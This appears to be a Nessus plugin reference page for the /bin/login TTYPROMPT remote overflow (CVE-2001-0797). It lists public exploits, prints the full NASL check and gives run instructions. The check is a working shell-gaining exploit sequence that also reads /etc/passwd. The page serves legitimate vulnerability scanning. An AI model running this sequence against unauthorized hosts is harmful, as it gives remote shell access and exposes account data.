Multiple OS /bin/login Remote Overflow - Nessus
Critical Plugin ID: 11136This page contains detailed information about the Multiple OS /bin/login Remote Overflow Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.
Plugin Overview
ID: 11136
Name: Multiple OS /bin/login Remote Overflow
Filename: ttyprompt.nasl
Vulnerability Published: 2001-12-12
This Plugin Published: 2002-10-03
Last Modification Time: 2018-08-01
Plugin Version: 1.27
Plugin Type: remote
Plugin Family: Gain a shell remotely
Dependencies:
find_service1.nasl
Vulnerability Information
Severity: Critical
Vulnerability Published: 2001-12-12
Patch Published: N/A
CVE [?]: CVE-2001-0797
CPE [?]: N/A
Exploited by Malware: True
Synopsis
It is possible to execute arbitrary commands on the remote host.
Description
The remote implementation of the /bin/login utility, used when authenticating a user via telnet or rsh contains an overflow which allows an attacker to gain a shell on this host, without even sending a shell code.
An attacker may use this flaw to log in as any user (except root) on the remote host.
Solution
Contact the vendor for a patch.
Public Exploits
Target Network Port(s): 23
Target Asset(s): Services/telnet
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Immunity Canvas)
Exploit Ease: Exploits are available
Here's the list of publicly known exploits and PoCs for verifying the Multiple OS /bin/login Remote Overflow vulnerability:
- Metasploit: exploit/solaris/telnet/ttyprompt
[Solaris in.telnetd TTYPROMPT Buffer Overflow] - Metasploit: exploit/dialup/multi/login/manyargs
[System V Derived /bin/login Extraneous Arguments Buffer Overflow] - Exploit-DB: exploits/solaris/remote/716.c
[EDB-716: Solaris 2.5.1/2.6/7/8 rlogin (SPARC) - '/bin/login' Remote Buffer Overflow] - Exploit-DB: exploits/solaris/remote/9917.rb
[EDB-9917: Solaris TelnetD - 'TTYPROMPT' Remote Buffer Overflow (1) (Metasploit)] - Exploit-DB: exploits/solaris/remote/10036.rb
[EDB-10036: System V Derived /bin/login - Extraneous Arguments Buffer Overflow (modem based) (Metasploit)] - Exploit-DB: exploits/solaris/remote/16327.rb
[EDB-16327: Solaris TelnetD - 'TTYPROMPT' Remote Buffer Overflow (2) (Metasploit)] - Exploit-DB: exploits/linux/remote/16928.rb
[EDB-16928: System V Derived /bin/login - Extraneous Arguments Buffer Overflow (Metasploit)] - GitHub: https://github.com/0xdea/exploits
[CVE-2001-0797] - GitHub: https://github.com/Whonix/security-misc
[CVE-2001-0797] - Immunity Canvas: CANVAS
Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.
WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.
Risk Information
CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:OF/RC:C
CVSS Base Score: | 10.0 (High) |
Impact Subscore: | 10.0 |
Exploitability Subscore: | 10.0 |
CVSS Temporal Score: | 8.7 (High) |
CVSS Environmental Score: | NA (None) |
Modified Impact Subscore: | NA |
Overall CVSS Score: | 8.7 (High) |
Go back to menu.
Plugin Source
This is the ttyprompt.nasl nessus plugin source code. This script is Copyright (C) 2002-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(11136);
script_version("1.27");
script_cvs_date("Date: 2018/08/01 17:36:12");
script_cve_id("CVE-2001-0797");
script_bugtraq_id(3681, 5848);
script_xref(name:"CERT-CC", value:"CA-2001-34");
script_name(english:"Multiple OS /bin/login Remote Overflow");
script_summary(english:"Attempts to log into the remote host");
script_set_attribute(attribute:"synopsis", value:"It is possible to execute arbitrary commands on the remote host.");
script_set_attribute(attribute:"description", value:
"The remote implementation of the /bin/login utility, used when
authenticating a user via telnet or rsh contains an overflow which
allows an attacker to gain a shell on this host, without even sending a
shell code.
An attacker may use this flaw to log in as any user (except root) on the
remote host.");
script_set_attribute(attribute:"solution", value:"Contact the vendor for a patch.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploited_by_malware", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'Solaris in.telnetd TTYPROMPT Buffer Overflow');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
script_set_attribute(attribute:"canvas_package", value:'CANVAS');
script_set_attribute(attribute:"vuln_publication_date", value:"2001/12/12");
script_set_attribute(attribute:"plugin_publication_date", value:"2002/10/03");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
# It might cause problem on some systems
script_category(ACT_DESTRUCTIVE_ATTACK);
script_copyright(english:"This script is Copyright (C) 2002-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_family(english:"Gain a shell remotely");
script_dependencie("find_service1.nasl");
script_require_ports("Services/telnet", 23);
exit(0);
}
include("data_protection.inc");
global_var soc;
function init()
{
local_var c, i, lim, r, s;
send(socket:soc, data:raw_string(
0xFF, 252, 0x25,
0xFF, 254, 0x26,
0xFF, 252, 0x26,
0xFF, 254, 0x03,
0xFF, 252, 0x18,
0xFF, 252, 0x1F,
0xFF, 252, 0x20,
0xFF, 252, 0x21,
0xFF, 252, 0x22,
0xFF, 0xFB, 0x27,
0xFF, 254, 0x05,
0xFF, 252, 0x23));
r = recv(socket:soc, length:30);
lim = strlen(r);
for(i=0;i<lim - 2;i=i+3)
{
if(!(ord(r[i+2]) == 0x27))
{
if(ord(r[i+1]) == 251) c = 254;
if(ord(r[i+1]) == 252) c = 254;
if(ord(r[i+1]) == 253) c = 252;
if(ord(r[i+1]) == 254) c = 252;
s = raw_string(ord(r[i]), c, ord(r[i+2]));
send(socket:soc, data:s);
}
}
send(socket:soc, data:raw_string(0xFF, 0xFC, 0x24));
r = recv(socket:soc, length:300);
send(socket:soc, data:raw_string(0xFF, 0xFA, 0x27, 0x00, 0x03, 0x54, 0x54, 0x59, 0x50, 0x52, 0x4F, 0x4D, 0x50, 0x54, 0x01, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0xFF, 0xF0));
}
port = get_kb_item("Services/telnet");
if(!port)port = 23;
if(!get_port_state(port))exit(0);
soc = open_sock_tcp(port);
if(soc)
{
buf = init();
send(socket:soc, data:string("bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\r\n"));
r = recv(socket:soc, length:4096);
if(!r)exit(0);
send(socket:soc, data:string("id\r\n"));
r = recv(socket:soc, length:1024);
if("uid=" >< r){
send(socket:soc, data:string("cat /etc/passwd\r\n"));
r = recv(socket:soc, length:4096);
r = data_protection::redact_etc_passwd(output:r);
report = string("Here is the output of the command 'cat /etc/passwd' :\n", r);
security_hole(port:port, extra:report);
}
}
The latest version of this script can be found in these locations depending on your platform:
- Linux / Unix:
/opt/nessus/lib/nessus/plugins/ttyprompt.nasl
- Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\ttyprompt.nasl
- Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/ttyprompt.nasl
Go back to menu.
How to Run
Here is how to run the Multiple OS /bin/login Remote Overflow as a standalone plugin via the Nessus web user interface (https://localhost:8834/):
- Click to start a New Scan.
- Select Advanced Scan.
- Navigate to the Plugins tab.
- On the top right corner click to Disable All plugins.
- On the left side table select Gain a shell remotely plugin family.
- On the right side table select Multiple OS /bin/login Remote Overflow plugin ID 11136.
- Specify the target on the Settings tab and click to Save the scan.
- Run the scan.
Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.
Basic usage:
/opt/nessus/bin/nasl ttyprompt.nasl -t <IP/HOST>
Run the plugin with audit trail message on the console:
/opt/nessus/bin/nasl -a ttyprompt.nasl -t <IP/HOST>
Run the plugin with trace script execution written to the console (useful for debugging):
/opt/nessus/bin/nasl -T - ttyprompt.nasl -t <IP/HOST>
Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):
/opt/nessus/bin/nasl -K /tmp/state ttyprompt.nasl -t <IP/HOST>
Go back to menu.
References
BID | SecurityFocus Bugtraq ID: CERT-CC | CERT Coordination Center:
- CA-2001-34
- 10828 - SysV /bin/login Environment Remote Overflow (rlogin)
- 10827 - SysV /bin/login Environment Remote Overflow (telnet check)
- 49217 - Multiple Switch Vendors '__super' Account Backdoor
- 11337 - Multiple Linux rpc.mountd Remote Overflow
- 44937 - Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05)
- 49003 - Multiple Vulnerabilities in the IOS FTP Server
- 49017 - Multiple Cisco Products Vulnerable to DNS Cache Poisoning Attacks
- 139545 - Multiple Vulnerabilities in Treck IP Stack Affecting Cisco Products: June 2020 (cisco-sa-treck-ip-stack-JyBQ5GyC)
- 11748 - Multiple Dangerous CGI Script Detection
- 33447 - Multiple Vendor DNS Query ID Field Prediction Cache Poisoning
- 11197 - Multiple Ethernet Driver Frame Padding Information Disclosure (Etherleak)
- 10821 - Multiple FTPD glob Command Arbitrary Command Execution
- 10084 - Multiple FTP Server Command Handling Overflow
- 123520 - Multiple Command Injection Vulnerabilities in Grandstream Products
- 124173 - Multiple Command Injection Vulnerabilities in Grandstream Products
- 10930 - Multiple Web Server on Windows MS/DOS Device Request Remote DOS
- 10176 - Multiple Vendor phf CGI Arbitrary Command Execution
- 10249 - Multiple Mail Server EXPN/VRFY Information Disclosure
- 40449 - Multiple Vendor HMAC Authentication SNMPv3 Authentication Bypass
- 10282 - Multiple Vendor test-cgi Arbitrary File Access
- 80475 - Multiple Slider Plugins for WordPress 'img' Parameter Local File Inclusion Vulnerability
- 31683 - Multiple Vendor NIS rpc.ypupdated YP Map Update Arbitrary Remote Command Execution
Version
This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file ttyprompt.nasl version 1.27. For more plugins, visit the Nessus Plugin Library.
Go back to menu.